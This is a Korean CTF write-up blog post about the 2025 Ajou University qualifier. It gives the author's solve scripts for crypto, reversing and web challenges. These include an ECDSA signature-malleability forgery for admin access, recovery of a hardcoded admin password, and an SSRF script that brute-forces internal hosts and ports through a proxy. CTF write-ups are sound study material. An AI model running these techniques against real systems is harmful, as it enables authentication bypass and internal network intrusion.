2025. 06. 21 토요일 09~18시에 진행된 아주대학교 CTF에 참여하였다
예선 5등으로 끝냈고, 본선 진출 하였다
6문제 풀었고,
1시 반까지 하고 학원갔다
Write Up
Mic Check
Bason - Crypto
# prob.py
import string
import random
import os
bacon_cipher_reverse = {
'A': 'aaaaa', 'B': 'aaaab', 'C': 'aaaba', 'D': 'aaabb', 'E': 'aabaa',
'F': 'aabab', 'G': 'aabba', 'H': 'aabbb', 'I': 'abaaa', 'J': 'abaab',
'K': 'ababa', 'L': 'ababb', 'M': 'abbaa', 'N': 'abbab', 'O': 'abbba',
'P': 'abbbb', 'Q': 'baaaa', 'R': 'baaab', 'S': 'baaba', 'T': 'baabb',
'U': 'babaa', 'V': 'babab', 'W': 'babba', 'X': 'babbb', 'Y': 'bbaaa',
'Z': 'bbaab'
}
def encode_bacon_cipher(message):
encoded_message = ''
message = message.upper()
for char in message:
if char in bacon_cipher_reverse:
encoded_message += bacon_cipher_reverse[char]
return encoded_message
def gen_random_string(length=10):
return ''.join(random.choices(string.ascii_letters, k=length))
def encode_message_with_styles(binary_message, style_message):
encoded_styled_message = ''
binary_index = 0
for char in style_message:
if char.isalpha():
if binary_message[binary_index] == 'a':
encoded_styled_message += char.lower()
else:
encoded_styled_message += char.upper()
binary_index += 1
if binary_index >= len(binary_message):
break
return encoded_styled_message
def print_flag():
with open("/flag", "r") as f:
flag = f.read().strip()
print(flag)
def main():
message = gen_random_string(10)
message = message.upper()
binary_message = encode_bacon_cipher(message)
style_message = gen_random_string(len(binary_message))
encoded_message = encode_message_with_styles(binary_message, style_message)
print(f"encrypted msg: {encoded_message}")
user_input = input("Enter origin message: ")
if user_input == message:
print("Correct!")
print_flag()
else:
print("Nope")
if __name__ == "__main__":
main()
# exploit.py
from pwn import *
# Bacon 암호 매핑: 문자 → a/b 5비트 문자열
bacon_cipher_reverse = {
'A': 'aaaaa', 'B': 'aaaab', 'C': 'aaaba', 'D': 'aaabb', 'E': 'aabaa',
'F': 'aabab', 'G': 'aabba', 'H': 'aabbb', 'I': 'abaaa', 'J': 'abaab',
'K': 'ababa', 'L': 'ababb', 'M': 'abbaa', 'N': 'abbab', 'O': 'abbba',
'P': 'abbbb', 'Q': 'baaaa', 'R': 'baaab', 'S': 'baaba', 'T': 'baabb',
'U': 'babaa', 'V': 'babab', 'W': 'babba', 'X': 'babbb', 'Y': 'bbaaa',
'Z': 'bbaab'
}
# 복호화 매핑: a/b 5비트 문자열 → 원래 문자
bacon_decode = {v: k for k, v in bacon_cipher_reverse.items()}
def decode_bacon_from_styled(styled: str) -> str:
"""
스타일된(encrypted msg) 문자열에서 대소문자 비트를 추출해
Bacon 암호를 복호화하여 원본 메시지를 반환합니다.
"""
# 알파벳 문자만 골라, 소문자 → 'a', 대문자 → 'b'
bits = ''.join(
'a' if c.islower() else 'b'
for c in styled
if c.isalpha()
)
# 5비트씩 끊어서 대응하는 문자 복원
return ''.join(
bacon_decode[bits[i:i+5]]
for i in range(0, len(bits), 5)
)
def get_flag(host: str, port: int):
"""
원격 서버에 접속해 암호문을 읽고 복호화하여 플래그를 얻어 출력합니다.
"""
# 원격 연결 (로컬 실행 시 process([...])로 대체 가능)
p = remote(host, port)
# "encrypted msg: <스타일된 문자열>" 줄을 읽음
line = p.recvline_contains(b"encrypted msg:").decode().strip()
styled = line.split(":", 1)[1].strip()
# 원본 메시지 복원
orig = decode_bacon_from_styled(styled)
print(f"[+] Recovered message: {orig}")
# 복호화된 원본 메시지를 전송
p.sendline(orig)
# 플래그가 담긴 응답을 모두 받아 출력
print(p.recvall().decode())
if __name__ == "__main__":
HOST = "43.202.158.126"
PORT = 1111
get_flag(HOST, PORT)
딸깍
Elliptic - Crypto
# Exploit.py
from pwn import remote
import binascii
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def bytes_to_int(b: bytes) -> int:
return int.from_bytes(b, 'big')
def int_to_bytes(i: int) -> bytes:
length = (i.bit_length() + 7) // 8
return i.to_bytes(length, 'big') or b'\x00'
def parse_der(sig: bytes):
assert sig[0] == 0x30
idx = 2
if sig[1] & 0x80:
ln = sig[1] & 0x7F
idx = 2 + ln
assert sig[idx] == 0x02
r_len = sig[idx+1]
r = sig[idx+2:idx+2+r_len]
idx2 = idx + 2 + r_len
assert sig[idx2] == 0x02
s_len = sig[idx2+1]
s = sig[idx2+2:idx2+2+s_len]
return r, s
def encode_der(r: int, s: int) -> bytes:
rb = int_to_bytes(r)
if rb[0] & 0x80:
rb = b'\x00' + rb
sb = int_to_bytes(s)
if sb[0] & 0x80:
sb = b'\x00' + sb
der_r = b'\x02' + bytes([len(rb)]) + rb
der_s = b'\x02' + bytes([len(sb)]) + sb
content = der_r + der_s
return b'\x30' + bytes([len(content)]) + content
def main():
conn = remote('43.203.174.164', 2025)
conn.recvuntil(b'> ')
conn.sendline(b'1')
info = conn.recvuntil(b'> ')
for line in info.splitlines():
if b'Valid Admin Signature:' in line:
sig_hex = line.split(b':')[1].strip()
break
original_sig = binascii.unhexlify(sig_hex)
r_bytes, s_bytes = parse_der(original_sig)
r_int = bytes_to_int(r_bytes)
s_int = bytes_to_int(s_bytes)
s_malleated = N - s_int
new_sig = encode_der(r_int, s_malleated)
new_sig_hex = binascii.hexlify(new_sig)
conn.sendline(b'2')
conn.recvuntil(b'hex for admin access: ')
conn.sendline(new_sig_hex)
print(conn.recvall().decode())
if __name__ == '__main__':
main()
크립토 전부 푸는데 10분 걸렸다
The Powershell - Reversing
# exploit.py
v = [7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29,
76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126]
k = 0x77
flag = []
for i, vi in enumerate(v):
s = i % 8
rot = vi ^ (k + i)
b = ((rot << s) | (rot >> (8 - s))) & 0xFF
flag.append(b)
flag_str = bytes(flag).decode()
print(flag_str)
Credential Hash Generator - Reversing
main.exe를 ida로 분석하면
pyinstaller로 exe파일이 되어있음을 알 수 있다
이걸 통해서 decompile 진행하면
import random
F_hex = "b3c42b30363610c186cfb9c891046a4f1f983301705be5b00b979485eea15185ceeb17204b8267fb9930832ba20406471a7e0ceb1214e853330240b7dd7d243e6961d37159b1c6325ea4be49ea6c8af8"
F = bytes.fromhex(F_hex)
userid = "admin"
pass_length = len("********************************")
userid_bytes = userid.encode()
len_tmp = len(userid_bytes) + pass_length
rng = random.Random(3735928559)
perm = list(range(80))
rng.shuffle(perm)
rand_ints = [rng.randint(0, 255) for _ in range(80)]
shuffled_new_data = [(F[i] - rand_ints[i]) % 256 for i in range(80)]
new_data = [0] * 80
for idx_shuffled, orig_idx in enumerate(perm):
new_data[orig_idx] = shuffled_new_data[idx_shuffled]
tmp = [None] * len_tmp
for i in range(80):
k = i % len_tmp
c = (49 * i + 4) % 256
val = new_data[i] ^ c
if tmp[k] is None:
tmp[k] = val
elif tmp[k] != val:
raise ValueError(f"Inconsistency at position {i}")
recovered_userid = bytes([tmp[i] ^ 48 for i in range(len(userid_bytes))]).decode()
password_bytes = [tmp[len(userid_bytes) + j] ^ 96 for j in range(pass_length)]
recovered_password = bytes(password_bytes).decode()
print(f"Recovered userid: {recovered_userid}")
print(f"Recovered password: {recovered_password}")
WebView - Web
list 엔드포인트가 주석으로 숨겨져 있다
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
PROXY = "http://3.36.10.125/?url="
HOSTS = ["127.0.0.1", "localhost", "c61990662e4f", "internal"]
PORT_START = 1000
PORT_END = 10000
TIMEOUT = 0.5
MAX_WORKERS = 50
def probe(host, port):
target = f"http://{host}:{port}/flag"
ssrf_url = PROXY + urllib.parse.quote(target, safe="")
try:
resp = requests.get(ssrf_url, timeout=TIMEOUT)
text = resp.text
if "flag{" in text:
return (host, port, text.strip())
except requests.RequestException:
pass
return None
def brute_force():
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as exe:
futures = []
for host in HOSTS:
for port in range(PORT_START, PORT_END + 1):
futures.append(exe.submit(probe, host, port))
for fut in as_completed(futures):
result = fut.result()
if result:
host, port, flag = result
print(f"\n🎉 FLAG FOUND at {host}:{port} 🎉\n{flag}\n")
exe.shutdown(wait=False, cancel_futures=True)
return
if __name__ == "__main__":
brute_force()
브포로 풀린다
XSS인줄 알고 한참을 고민했는데 너무 쉬운 문제였다
PWN문제가 HEAP이 많아서 거의 못 건들였는데, 본선때까지 HEAP하고 FSOP공부해서 포너블 1솔 해야겠다
'CTF' 카테고리의 다른 글
[ 2025 제 1회 경기도 사이버 보안 캠프 후기 ] (2) | 2025.08.25 |
---|---|
[ 2025 COSS 아주대 CTF - 본선] - Write Up & 후기 (5) | 2025.07.25 |
[2025 Codegate 예선] - Write Up & 후기 (0) | 2025.05.26 |
[2025 DIMI CTF Write Up] - Prob by pandas. with 후기 (3) | 2025.03.25 |
[CTF] 제 5회 중부대학교 JBU CTF (1) | 2025.02.27 |